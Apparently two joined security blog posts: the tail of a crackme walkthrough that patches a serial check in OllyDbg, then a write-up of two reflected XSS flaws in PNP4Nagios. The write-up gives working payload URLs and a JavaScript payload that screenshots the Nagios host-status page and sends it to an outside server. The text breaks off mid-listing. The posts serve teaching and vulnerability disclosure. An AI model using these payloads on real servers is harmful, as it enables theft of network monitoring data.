table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/span
span class="code-line"span class="normal"5/span/span
span class="code-line"span class="normal"6/span/span
span class="code-line"span class="normal"7/span/span
span class="code-line"span class="normal"8/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"00401003 . 8A01 MOV AL,BYTE PTR DS:[ECX]/span/span
span class="code-line"span class="x"00401005 . 83EC 20 SUB ESP,20/span/span
span class="code-line"span class="x"00401008 . 56 PUSH ESI/span/span
span class="code-line"span class="x"00401009 . 33F6 XOR ESI,ESI/span/span
span class="code-line"span class="x"0040100B . 84C0 TEST AL,AL/span/span
span class="code-line"span class="x"0040100D . 0F84 B3000000 JE SomeCryp.004010C6/span/span
span class="code-line"span class="x"00401013 . 8D55 E0 LEA EDX,DWORD PTR SS:[EBP-20]/span/span
span class="code-line"span class="x"00401016 . 2BD1 SUB EDX,ECX/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThe first line loads the first byte of our serial into the AL register (The lower byte of the EAX register)./p
pSome space is then reserved on the stack for a local variable. On line 3 the value of the ESI register is saved on the stack and zero'ed out (xor'ing anything with itself makes the result 0)./p
pThe byte in the AL register (at this point in time the first character in our serial) is checked for 0 on line 5 and if it is 0 execution jumps to code004010C6/code./p
pLet's look at the code at code004010C6/code:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/span
span class="code-line"span class="normal"5/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"004010C6 gt; 32C0 XOR AL,AL/span/span
span class="code-line"span class="x"004010C8 . 5E POP ESI/span/span
span class="code-line"span class="x"004010C9 . 8BE5 MOV ESP,EBP/span/span
span class="code-line"span class="x"004010CB . 5D POP EBP/span/span
span class="code-line"span class="x"004010CC . C3 RETN/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThis clearly just sets the return value to code0/code and returns, we already know that we don't want a return value of code0/code so this is our failure case./p
pFollowing the jump we have an LEA instruction, which loads the value of our local variable, and a SUB command, which calculates the distance from the local variable to where our serial is in memory./p
pThe result of these 2 instructions (the distance from the local variable to where our serial is in memory) is stored in the EDX register./p
pNext we have the following loop:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"00401018 gt; 3C 61 CMP AL,61/span/span
span class="code-line"span class="x"0040101A . 0F8C A6000000 JL SomeCryp.004010C6/span/span
span class="code-line"span class="x"00401020 . 3C 7A CMP AL,7A/span/span
span class="code-line"span class="x"00401022 . 0F8F 9E000000 JG SomeCryp.004010C6/span/span
span class="code-line"span class="x"00401028 . 88040A MOV BYTE PTR DS:[EDX+ECX],AL/span/span
span class="code-line"span class="x"0040102B . 8A41 01 MOV AL,BYTE PTR DS:[ECX+1]/span/span
span class="code-line"span class="x"0040102E . 41 INC ECX/span/span
span class="code-line"span class="x"0040102F . 46 INC ESI/span/span
span class="code-line"span class="x"00401030 . 84C0 TEST AL,AL/span/span
span class="code-line"span class="x"00401032 .^75 E4 JNZ SHORT SomeCryp.00401018/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThis is checking if the value in AL is below 61 (lines 1 and 2) or above 7A (lines 3 and 4) and jumping to code004010C6/code if it is./p
pLooking at the a href="http://web.cs.mun.ca/~michael/c/ascii-table.html" target="_blank"ascii table/a 61 is stronga/strong and 7A is strongz/strong./p
pSo if the first character is not a lowercase letter, execution will jump to the same failure case as before./p
pIf the jumps aren't taken the byte is moved to the address pointed to by codeEDX+ECX/code on line 5. This will point to the right position in the local variable due to the earlier codeSUB/code command./p
pThen (on line 6) the next byte in the serial is moved into AL, both ECX and ESI are incremented. Lastly, on lines 9 and 10, AL is checked for 0 and the jump to code00401018/code is only taken if AL is 0./p
pThis is clearly just making sure only lowercase letters are part of the serial, so at least we now know the possible different characters that are allowed in the serial./p
pAnother thing to notice here is that ESI is being used as a counter and at the end will contain the number of characters in the serial./p
pLet's look at the 2 lines following this loop:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"00401034 . 83FE 1A CMP ESI,1A/span/span
span class="code-line"span class="x"00401037 . 0F85 89000000 JNZ SomeCryp.004010C6/span/span
span class="code-line"/code/pre/div
/td/tr/table
pIf you'll remember, ESI contains the number of characters in the serial and here its being checked against code1A/code (or 26 in decimal). If ESI isn't equal to 26 then our failure case is taken again (code004010C6/code)./p
pWe then zero out EAX and onto the next loop:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/span
span class="code-line"span class="normal"5/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"00401040 gt; 8A88 10304000 MOV CL,BYTE PTR DS:[EAX+403010]/span/span
span class="code-line"span class="x"00401046 . 8888 40314000 MOV BYTE PTR DS:[EAX+403140],CL/span/span
span class="code-line"span class="x"0040104C . 40 INC EAX/span/span
span class="code-line"span class="x"0040104D . 84C9 TEST CL,CL/span/span
span class="code-line"span class="x"0040104F .^75 EF JNZ SHORT SomeCryp.00401040/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThis is simply moving a string from code403010/code to code403140/code and only stops once it hits a code0/code./p
pThe data at code403010/code we can see by right clicking on the line (line 1 here) and click emFollow in Dump -gt; Address constant/em:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-follow-address-constant.png" width="800"/p
pYou should see this:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-data.png" width="800"/p
pIt will show the following in the dump window:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/span
span class="code-line"span class="normal"25/span/span
span class="code-line"span class="normal"26/span/span
span class="code-line"span class="normal"27/span/span
span class="code-line"span class="normal"28/span/span
span class="code-line"span class="normal"29/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="go"00403010 49 78 20 6C 7A 63 74 75 Ix lzctu/span/span
span class="code-line"span class="go"00403018 73 64 7A 65 74 67 63 2C sdzetgc,/span/span
span class="code-line"span class="go"00403020 20 65 78 20 6E 2D 66 73 ex n-fs/span/span
span class="code-line"span class="go"00403028 62 20 28 6E 76 66 6E 75 b (nvfnu/span/span
span class="code-line"span class="go"00403030 6A 75 76 75 6A 73 78 2D juvujsx-/span/span
span class="code-line"span class="go"00403038 66 73 62 29 20 6A 6E 20 fsb) jn/span/span
span class="code-line"span class="go"00403040 65 20 66 65 6E 6A 6C 20 e fenjl/span/span
span class="code-line"span class="go"00403048 6C 73 61 74 73 78 72 78 lsatsxrx/span/span
span class="code-line"span class="go"00403050 75 20 73 77 20 6E 63 61 u sw nca/span/span
span class="code-line"span class="go"00403058 61 72 75 7A 6A 6C 20 71 aruzjl q/span/span
span class="code-line"span class="go"00403060 72 63 20 65 68 64 73 7A rc ehdsz/span/span
span class="code-line"span class="go"00403068 6A 75 67 61 6E 20 70 67 jugan pg/span/span
span class="code-line"span class="go"00403070 6A 6C 67 20 74 72 7A 77 jlg trzw/span/span
span class="code-line"span class="go"00403078 73 7A 61 6E 20 6E 76 66 szan nvf/span/span
span class="code-line"span class="go"00403080 6E 75 6A 75 76 75 6A 73 nujuvujs/span/span
span class="code-line"span class="go"00403088 78 2E 20 49 78 20 66 68 x. Ix fh/span/span
span class="code-line"span class="go"00403090 73 6C 71 20 6C 6A 74 67 slq ljtg/span/span
span class="code-line"span class="go"00403098 72 7A 6E 2C 20 75 67 72 rzn, ugr/span/span
span class="code-line"span class="go"004030A0 63 20 65 7A 72 20 75 63 c ezr uc/span/span
span class="code-line"span class="go"004030A8 74 6A 6C 65 68 68 63 20 tjlehhc/span/span
span class="code-line"span class="go"004030B0 76 6E 72 6D 20 75 73 20 vnrm us/span/span
span class="code-line"span class="go"004030B8 73 66 6E 6C 76 7A 72 20 sfnlvzr/span/span
span class="code-line"span class="go"004030C0 75 67 72 20 7A 72 68 65 ugr zrhe/span/span
span class="code-line"span class="go"004030C8 75 6A 73 78 6E 67 6A 74 ujsxngjt/span/span
span class="code-line"span class="go"004030D0 20 66 72 75 70 72 72 78 fruprrx/span/span
span class="code-line"span class="go"004030D8 20 75 67 72 20 71 72 63 ugr qrc/span/span
span class="code-line"span class="go"004030E0 20 65 78 6D 20 75 67 72 exm ugr/span/span
span class="code-line"span class="go"004030E8 20 6C 6A 74 67 72 7A 75 ljtgrzu/span/span
span class="code-line"span class="go"004030F0 72 62 75 2E 00 rbu../span/span
span class="code-line"/code/pre/div
/td/tr/table
pThis is everything before and including the first code0/code./p
pOnce this loop has completed we have the following:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"00401051 . 33C9 XOR ECX,ECX/span/span
span class="code-line"span class="x"00401053 . 380D 40314000 CMP BYTE PTR DS:[403140],CL/span/span
span class="code-line"span class="x"00401059 . 74 2D JE SHORT SomeCryp.00401088/span/span
span class="code-line"span class="x"0040105B . EB 03 JMP SHORT SomeCryp.00401060/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThis zero's out ECX and checks the value at code403140/code against CL (code0/code) and if they match jumps to code00401088/code, otherwise jumps to code00401060/code./p
pLet's see what happens if you jump on line 3 is taken:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal"1/span/span
span class="code-line"span class="normal"2/span/span
span class="code-line"span class="normal"3/span/span
span class="code-line"span class="normal"4/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"00401088 gt; 83C8 FF OR EAX,FFFFFFFF/span/span
span class="code-line"span class="x"0040108B . BA 40314000 MOV EDX,SomeCryp.00403140/span/span
span class="code-line"span class="x"00401090 . 85C9 TEST ECX,ECX/span/span
span class="code-line"span class="x"00401092 . 74 19 JE SHORT SomeCryp.004010AD/span/span
span class="code-line"/code/pre/div
/td/tr/table
pAnother jump is taken if ECX is code0/code and we know it will at this point. Here is the code at that location:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="x"004010AD gt; F7D0 NOT EAX/span/span
span class="code-line"span class="x"004010AF . 3D 18B291F8 CMP EAX,F891B218/span/span
span class="code-line"span class="x"004010B4 . 75 10 JNZ SHORT SomeCryp.004010C6/span/span
span class="code-line"span class="x"004010B6 . 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]/span/span
span class="code-line"span class="x"004010B9 . C700 40314000 MOV DWORD PTR DS:[EAX],SomeCryp.00403140/span/span
span class="code-line"span class="x"004010BF . B0 01 MOV AL,1/span/span
span class="code-line"span class="x"004010C1 . 5E POP ESI/span/span
span class="code-line"span class="x"004010C2 . 8BE5 MOV ESP,EBP/span/span
span class="code-line"span class="x"004010C4 . 5D POP EBP/span/span
span class="code-line"span class="x"004010C5 . C3 RETN/span/span
span class="code-line"/code/pre/div
/td/tr/table
pThis is the end of the function./p
pIts pretty obvious that this function creates a checksum of a modified version of the string we found earlier and checks it against codeF891B218/code, if it is equal the function returns 1, otherwise it return 0./p
pAt this point I remember that there are no rules to this crackme so patching is allowed./p
pExit OllyDBG completely and make a copy of the application like this:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/save-copy.png"/p
pThis isn't needed, I just do it to be careful./p
pOpe the copy and go to the serial checking function and the line under codeCMP AL,61/code, where it says codeJL SomeCryp.004010C6/code at code0040101A/code, double click, type codeje 4010A2/code and click emAssemble/em./p
pThe little window should have stayed open, type codejmp 4010C6/code and click emAssemble/em again./p
pYou should see the following:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-editing-binary.png" width="800"/p
pThis should check if the first character in the serial is stronga/strong and if it is jump to code4010A2/code, otherwise jump to code4010C6/code which is the failure case./p
pClick emCancel/em and scroll down the the memory address code4010A2/code. Double click there, type codemov eax, 0xf891b218/code and click emAssemble/em./p
pYou should see this:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-editing-binary2.png" width="800"/p
pNow just fill the rest with a href="https://en.wikipedia.org/wiki/NOP" target="_blank"NOP's/a until the codecmp/code at code004010AF/code like this:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-nops.png" width="800"/p
pThis should ensure that if the serial contains an stronga/strong at the start it should set the value of EAX accordingly./p
pSave these modifications to the application file by right clicking anywhere and clicking emCopy to exe-gt;All modifications/em:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-copy-to-exe.png" width="800"/p
pIt should open this window:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-copy-to-exe-dialog.png"/p
pClick emCopy all/em and you should see something like this:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-new-binary.png" width="800"/p
pClick the close button in the top right corner of this window and you should get the following dialog:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/olly-save-binary.png"/p
pNow if you browse to the directory with the crackme files in you should see a new file:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/new-files.png"/p
pThe file ending in strong.bak/strong is the backup created by Olly, and the 1 named codeSomeCrypto~01 - Copy.exe/code is our patched file./p
pJust run it and put anything as the name and any serial starting with an stronga/strong:/p
pimg src="/assets/images/reverse-engineering/an-easy-windows-crackme/complete.png" width="800"/p
pCRACKED!!! :-)/p
h2Conclusion/h2
pYou don't need to fully understand every part of an application while reverse engineering it, it depends on what you are trying to achieve and the complexity of the application./p
pTry to concentrate as much as possible on the important areas and ignore everything else./p
pWhen beating a protection mechanism sometimes its easiest to just bypass the protection as opposed to trying to break it./p
h2Further Reading/h2
pThe best book I've read on this topic is emReversing: Secrets of Reverse Engineering/em by emEldad Eilam/em./p
pHappy Hacking :-)/p
pYesterday a href="http://seclists.org/oss-sec/2014/q3/26" target="_blank"this/a was sent to the a href="http://oss-security.openwall.org/wiki/" target="_blank"OSS-Security mailing list/a. For some reason the subject caught my eye (strongCVE request: pnp4nagios - Two URL Cross-Site Scripting Vulnerabilities/strong)./p
pNeedless to say, I didn't bother reading it, the investigation started immediately. This is a result of that investigation./p
!-- more --
pI started by downloading and installing Nagios and PNP4Nagios onto a freshly installed Debian Wheezy VM./p
pI'm not going to go into the actual installation, its easy enough and there is plenty of documentation that explains how to do it, all I will say is that you will need Nagios 3 (I couldn't get PNP4Nagios working with Nagios 4) and I installed the latest version of PNP4Nagios (which was 0.6.22 at the time of writing)./p
pYou might have to leave Nagios a few minutes to collect some data, I didn't set up some any services, Nagios comes with some default services which should be fine for our purposes./p
pAfter this and you have removed code/usr/local/pnp4nagios/share/install.php/code from the server, visit codehttp://[server]/pnp4nagios//code, put in the username and password; and you should see this:/p
pimg src="/assets/images/web-hacking/pnp4nagios-start.png" width="750"/p
h2Testing The App/h2
pFirst it makes sense to test this input we have (codehost/code) for the most basic types of XSS:/p
pimg src="/assets/images/web-hacking/pnp4nagios-host-first.png" width="750"/p
pimg src="/assets/images/web-hacking/pnp4nagios-host-second.png" width="750"/p
pimg src="/assets/images/web-hacking/pnp4nagios-host-third.png" width="750"/p
pAs you can see, there is some filtering going on here, although it does confuse me as to why HTML is allowed to be injected at all./p
pThe filtering going on here looks like its replacing at least '/' (strongforward slash/strong) and ' ' (strongspace/strong) with '_' (strongunderscore/strong)./p
pAnd looking at the source, the output is encoded:/p
pimg src="/assets/images/web-hacking/pnp4nagios-host-third-source.png" width="750"/p
pAfter clicking on a service and a timerange on the right, a few more inputs appear:/p
pimg src="/assets/images/web-hacking/pnp4nagios-more.png" width="750"/p
pFrom the previous tests it seems that the error page has reasonably good filtering, so let's try to avoid that and come back to it later if we have to./p
pWe have 2 new inputs to test (codesrv/code and codeview/code), I test each of these by appending codelt;foobargt;/code to them./p
pTesting codesrv/code this way brings me back to the error page but testing codeview/code the page loads fine:/p
pimg src="/assets/images/web-hacking/pnp4nagios-view-first.png" width="750"/p
pLooking at the source and searching for codefoobar/code, we can see that it is stored in a hidden input tag and there doesn't seem to be any filtering:/p
pimg src="/assets/images/web-hacking/pnp4nagios-view-first-source.png" width="750"/p
h2Exploiting The App/h2
pLets try the normal tests, while prepending code"gt;/code to break out of the input tag, and look at the source:/p
pimg src="/assets/images/web-hacking/pnp4nagios-view-script-source.png" width="750"/p
pimg src="/assets/images/web-hacking/pnp4nagios-view-img-source.png" width="750"/p
pWe're very nearly there, it looks like codeonerror/code attribute is being removed (I tried a few others as well and they were all removed), let's try and fool the filter using the classic code/**//code method:/p
pimg src="/assets/images/web-hacking/pnp4nagios-xss.png" width="750"/p
pSuccess!/p
pThe full URL I typed here was codehttp://dev/pnp4nagios/graph?host=localhostamp;srv=_HOST_amp;view=3%22%3E%3Cimg%20src=F%20/**/onerror=%22alert%281%29%22%3E/code/p
pIn fact, what this application seems to be doing is adding hidden fields for any argument that you give it and doesn't do sufficient filtering on any of them, I send this url (codehttp://dev/pnp4nagios/graph?host=localhostamp;srv=_HOST_amp;monkey=foobar/code) and this was the resulting source:/p
pimg src="/assets/images/web-hacking/pnp4nagios-monkey.png" width="750"/p
h2Finding Another XSS/h2
pLet's also have a look at the zoom function on these graphs, clicking the zoom button (the little magnifying glass icon) you get this window:/p
pimg src="/assets/images/web-hacking/pnp4nagios-zoom.png" width="750"/p
pI copied the full URL and pasted it into my normal browser window so that I can play with the URL./p
pLooking at the source the first thing I notice is that some of these inputs are vulnerable to the same XSS, inside the codeimg/code tag near the bottom, it seems to be subjected to the same filtering so I assume that it is the same vulnerability, however the second thing I notice is inside the codescript/code tags, inside a function called coderedirect/code:/p
pimg src="/assets/images/web-hacking/pnp4nagios-zoom-js.png" width="750"/p
pAs you can see, it appears that 1 of our inputs (codesource/code) is put inside these script tags, let's test to see what type of filtering it is subjected to:/p
pimg src="/assets/images/web-hacking/pnp4nagios-zoom-js-test.png" width="750"/p
pApparently there is no filtering here!/p
pNow all we have to do is figure out the correct prefix and suffix to allow us to run our javascript and still maintain valid syntax./p
pWe are inside a function that we need to break out of if we want our code to run on load, we do this by prepending code;};/code to our payload./p
pNext we need to start a new function to ensure the syntax is correct, we do this by appending codefunction r(){/code, so our payload end up like this code;};alert(1);function r(){/code:/p
pimg src="/assets/images/web-hacking/pnp4nagios-xss2.png" width="750"/p
pNice! We have our second XSS! :-)/p
pHere is the full URL I used: codehttp://dev/pnp4nagios/zoom?host=localhostamp;srv=Current_Loadamp;view=0amp;source=0;};alert%281%29;function%20r%28%29{amp;end=1404503451amp;start=1404468087amp;graph_width=500amp;graph_height=100/code/p
h2Going Beyond Alert(1)/h2
pI decided to demonstrate what can be done with this vulnerability./p
pI will use a javascript library called a href="http://html2canvas.hertzen.com/" target="_blank"html2canvas/a to create a screenshot of a Nagios page to get as much information as possible about the network that is being monitored by Nagios./p
pThe page we will target is codehttp://dev/nagios/cgi-bin/status.cgi?host=all/code. This page lists all of the hosts and services, on a real monitoring server we could get some juicy information on this page./p
pHere is the javascript that I wrote for this purpose:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="nx"d/spanspan class="o"=/spanspan class="nb"document/spanspan class="p";/spanspan class="kd"function/span span class="nx"r/spanspan class="p"(){/spanspan class="nx"n/spanspan class="o"=/spanspan class="nx"d/spanspan class="p"./spanspan class="nx"body/spanspan class="p"./spanspan class="nx"childNodes/spanspan class="p";/spanspan class="k"for/spanspan class="p"(/spanspan class="nx"i/spanspan class="o"=/spanspan class="mf"0/spanspan class="p";/spanspan class="nx"i/spanspan class="o"lt;/spanspan class="nx"n/spanspan class="p"./spanspan class="nx"length/spanspan class="p";/spanspan class="nx"i/spanspan class="o"++/spanspan class="p"){/spanspan class="nx"n/spanspan class="p"[/spanspan class="nx"i/spanspan class="p"]./spanspan class="nx"remove/spanspan class="p"()/span/span
span class="code-line"span class="p";};};/spanspan class="k"for/spanspan class="p"(/spanspan class="nx"i/spanspan class="o"=/spanspan class="mf"0/spanspan class="p";/spanspan class="nx"i/spanspan class="o"lt;/spanspan class="mf"3/spanspan class="p";/spanspan class="nx"i/spanspan class="o"++/spanspan class="p"){/spanspan class="nx"r/spanspan class="p"();};/spanspan class="nb"window/spanspan class="p"./spanspan class="nx"stop/spanspan class="p"();/spanspan class="nx"f/spanspan class="o"=/spanspan class="nx"d/spanspan class="p"./spanspan class="nx"createElement/spanspan class="p"(/spanspan class="s1"#39;iframe#39;/spanspan class="p");/span/span
span class="code-line"span class="nx"f/spanspan class="p"./spanspan class="nx"src/spanspan class="o"=/spanspan class="s1"#39;/nagios/cgi-bin/status.cgi?host=all#39;/spanspan class="p";/spanspan class="nx"f/spanspan class="p"./spanspan class="nx"style/spanspan class="o"=/spanspan class="s1"#39;border: 0; position:fixed;/span/span
span class="code-line"span class="s1" top:0; left:0; right:0;bottom:0; width:100%; height:100%#39;/spanspan class="p";/spanspan class="nx"f/spanspan class="p"./spanspan class="nx"scrolling/spanspan class="o"=/spanspan class="s1"#39;no#39;/spanspan class="p";/span/span
span class="code-line"span class="nx"f/spanspan class="p"./spanspan class="nx"id/spanspan class="o"=/spanspan class="s1"#39;e#39;/spanspan class="p";/spanspan class="nx"f/spanspan class="p"./spanspan class="nx"onload/spanspan class="o"=/spanspan class="kd"function/span span class="p"(){/spanspan class="nx"html2canvas/spanspan class="p"(/spanspan class="nx"d/spanspan class="p"./spanspan class="nx"getElementsByTagName/spanspan class="p"(/spanspan class="s1"#39;iframe#39;/spanspan class="p")[/spanspan class="mf"0/spanspan class="p"]/span/span
span class="code-line"span class="p"./spanspan class="nx"contentDocument/spanspan class="p"./spanspan class="nx"documentElement/spanspan class="p",{/spanspan class="nx"onrendered/spanspan class="o":/span span class="kd"function/spanspan class="p"(/spanspan class="nx"canvas/spanspan class="p")/span/span
span class="code-line"span class="p"{/spanspan class="nx"q/spanspan class="o"=/spanspan class="ow"new/span span class="nx"XMLHttpRequest/spanspan class="p"();/spanspan class="nx"q/spanspan class="p"./spanspan class="nx"open/spanspan class="p"(/spanspan class="s1"#39;GET#39;/spanspan class="p",/spanspan class="s1"#39;http://localhost:9000/?image=#39;/span/span
span class="code-line"span class="o"+/spanspan class="nx"canvas/spanspan class="p"./spanspan class="nx"toDataURL/spanspan class="p"(),/spanspan class="kc"true/spanspan class="p");/spanspan class="nx"q/spanspan class="p"./spanspan class="nx"send/spanspan class="p"(/spanspan class="kc"null/spanspan class="p");}});};/spanspan class="nx"s/spanspan class="o"=/spanspan class="nx"d/spanspan class="p"./spanspan class="nx"createElement/spanspan class="p"(/spanspan class="s1"#39;script#39;/spanspan class="p");/span/span
span class="code-line"span class="nx"s/spanspan class="p"./spanspan class="nx"src/spanspan class="o"=/spanspan class="s1"#39;http://html2canvas.hertzen.com/build/html2canvas.js#39;/spanspan class="p";/span/span
span class="code-line"span class="nx"d/spanspan class="p"./spanspan class="nx"body/spanspan class="p"./spanspan class="nx"appendChild/spanspan class="p"(/spanspan class="nx"s/spanspan class="p");/spanspan class="nx"d/spanspan class="p"./spanspan class="nx"body/spanspan class="p"./spanspan class="nx"appendChild/spanspan class="p"(/spanspan class="nx"f/spanspan class="p");/span/span
span class="code-line"/code/pre/div
/td/tr/table
pI originally had it all on 1 line but I put it on seperate lines here for readability (this will work as is, you will just need to join lines 3 and 4)./p
pThis javascript works perfectly for both of the XSS vulnerabilities we have found, just replace codealert(1)/code with a a href="http://www.w3schools.com/tags/ref_urlencode.asp" target="_blank"URL encoded/a version of the code above. a href="http://meyerweb.com/eric/tools/dencoder/" target="_blank"This/a site will encode it for you./p
pI tried to make the payload reasonably small, you generally want to make an exploit payload as small as possible to raise as little suspicion as possible. I could probably have shrunk it more, especially as the site is using jquery but I'll leave that to someone else./p
pLet's analyse this code a little and see what it is doing./p
pFirstly it implements a function where it iterates through every element in the body of the page and removes it. Now we have a blank body to build on top of./p
pNext it runs codewindow.stop();/code, this stops the main page from refreshing every 90 seconds./p
pIt then creates an codeiframe/code which fills the page and has the src attribute set to code/nagios/cgi-bin/status.cgi?host=all/code./p
pThe codeonload/code event of the iframe is then hooked, inside this function it uses html2canvas using the HTML content of the iframe and hooks the codeonrendered/code event./p
pOnce html2canvas has rendered the page it sends a GET request to codehttp://localhost:9000/?image=/code with the base64 encoded output of html2canvas appended (this could be a link to any server under the attackers control)./p
pLastly it creates a script tag with codehttp://html2canvas.hertzen.com/build/html2canvas.js/code (the html2canvas library) as the src attribute and appends the script tag and iframe to the body of the page./p
pWhen run through a a href="http://jsbeautifier.org/" target="_blank"beautifier/a, the code looks like this:/p
table class="highlighttable"trtd class="linenos"div class="linenodiv"prespan class="code-line"span class="normal" 1/span/span
span class="code-line"span class="normal" 2/span/span
span class="code-line"span class="normal" 3/span/span
span class="code-line"span class="normal" 4/span/span
span class="code-line"span class="normal" 5/span/span
span class="code-line"span class="normal" 6/span/span
span class="code-line"span class="normal" 7/span/span
span class="code-line"span class="normal" 8/span/span
span class="code-line"span class="normal" 9/span/span
span class="code-line"span class="normal"10/span/span
span class="code-line"span class="normal"11/span/span
span class="code-line"span class="normal"12/span/span
span class="code-line"span class="normal"13/span/span
span class="code-line"span class="normal"14/span/span
span class="code-line"span class="normal"15/span/span
span class="code-line"span class="normal"16/span/span
span class="code-line"span class="normal"17/span/span
span class="code-line"span class="normal"18/span/span
span class="code-line"span class="normal"19/span/span
span class="code-line"span class="normal"20/span/span
span class="code-line"span class="normal"21/span/span
span class="code-line"span class="normal"22/span/span
span class="code-line"span class="normal"23/span/span
span class="code-line"span class="normal"24/span/span
span class="code-line"span class="normal"25/span/span
span class="code-line"span class="normal"26/span/span
span class="code-line"span class="normal"27/span/span
span class="code-line"span class="normal"28/span/span
span class="code-line"span class="normal"29/span/span
span class="code-line"span class="normal"30/span/pre/div/tdtd class="code"div class="highlight"prespan class="code-line"span/spancodespan class="nx"d/span span class="o"=/span span class="nb"document/spanspan class="p";/span/span
span class="code-line"/span
span class="code-line"span class="kd"function/span span class="nx"r/spanspan class="p"()/span span class="p"{/span/span
span class="code-line" span class="nx"n/span span class="o"=/span span class="nx"d/spanspan class="p"./spanspan class="nx"body/spanspan class="p"./spanspan class="nx"childNodes/spanspan class="p";/span/span
span class="code-line" span class="k"for/span span class="p"(/spanspan class="nx"i/span span class="o"=/span span class="mf"0/spanspan class="p";/span span class="nx"i/span span class="o"lt;/span span class="nx"n/spanspan class="p"./spanspan class="nx"length/spanspan class="p";/span span class="nx"i/spanspan class="o"++/spanspan class="p")/span span class="p"{/span/span
span class="code-line" span class="nx"n/spanspan class="p"[/spanspan class="nx"i/spanspan class="p"]./spanspan class="nx"remove/spanspan class="p"();/span/span
span class="code-line" span class="p"};/span/span
span class="code-line"span class="p"};/span/span
span class="code-line"span class="k"for/span span class="p"(/spanspan class="nx"i/span span class="o"=/span span class="mf"0/spanspan class="p";/span span class="nx"i/span span class="o"lt;/span span class="mf"3/spanspan class="p";/span span class="nx"i/spanspan class="o"++/spanspan class="p")/span span class="p"{/span/span
